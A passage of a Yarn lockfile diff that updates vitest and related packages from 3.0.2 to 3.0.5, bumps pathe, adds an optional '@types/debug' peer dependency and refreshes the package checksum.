dependencies: - "@vitest/expect": "npm:3.0.2" - "@vitest/mocker": "npm:3.0.2" - "@vitest/pretty-format": "npm:^3.0.2" - "@vitest/runner": "npm:3.0.2" - "@vitest/snapshot": "npm:3.0.2" - "@vitest/spy": "npm:3.0.2" - "@vitest/utils": "npm:3.0.2" + "@vitest/expect": "npm:3.0.5" + "@vitest/mocker": "npm:3.0.5" + "@vitest/pretty-format": "npm:^3.0.5" + "@vitest/runner": "npm:3.0.5" + "@vitest/snapshot": "npm:3.0.5" + "@vitest/spy": "npm:3.0.5" + "@vitest/utils": "npm:3.0.5" chai: "npm:^5.1.2" debug: "npm:^4.4.0" expect-type: "npm:^1.1.0" magic-string: "npm:^0.30.17" - pathe: "npm:^2.0.1" + pathe: "npm:^2.0.2" std-env: "npm:^3.8.0" tinybench: "npm:^2.9.0" tinyexec: "npm:^0.3.2" tinypool: "npm:^1.0.2" tinyrainbow: "npm:^2.0.0" vite: "npm:^5.0.0 || ^6.0.0" - vite-node: "npm:3.0.2" + vite-node: "npm:3.0.5" why-is-node-running: "npm:^2.3.0" peerDependencies: "@edge-runtime/vm": "*" + "@types/debug": ^4.1.12 "@types/node": ^18.0.0 || ^20.0.0 || >=22.0.0 - "@vitest/browser": 3.0.2 - "@vitest/ui": 3.0.2 + "@vitest/browser": 3.0.5 + "@vitest/ui": 3.0.5 happy-dom: "*" jsdom: "*" peerDependenciesMeta: "@edge-runtime/vm": optional: true + "@types/debug": + optional: true "@types/node": optional: true "@vitest/browser": @@ -35182,7 +35218,7 @@ __metadata: optional: true bin: vitest: vitest.mjs - checksum: 10/4f93c2ef845ad08a10300a30833b583490988811d3d841947103a480899f2fdf0671a16db064fd382508b2b5199e5abd617dbcf533f5612a30233260cb3c6b75 + checksum: 10/63bf6474d314e0694489d23236a6aebd4f2173b40e47f861824668fe4b3dde5b6b95d30134acc7b1a0694c0b82b4996deb7ebc7c0ae62cb58823ff51cdcadbe1 languageName: node linkType: hard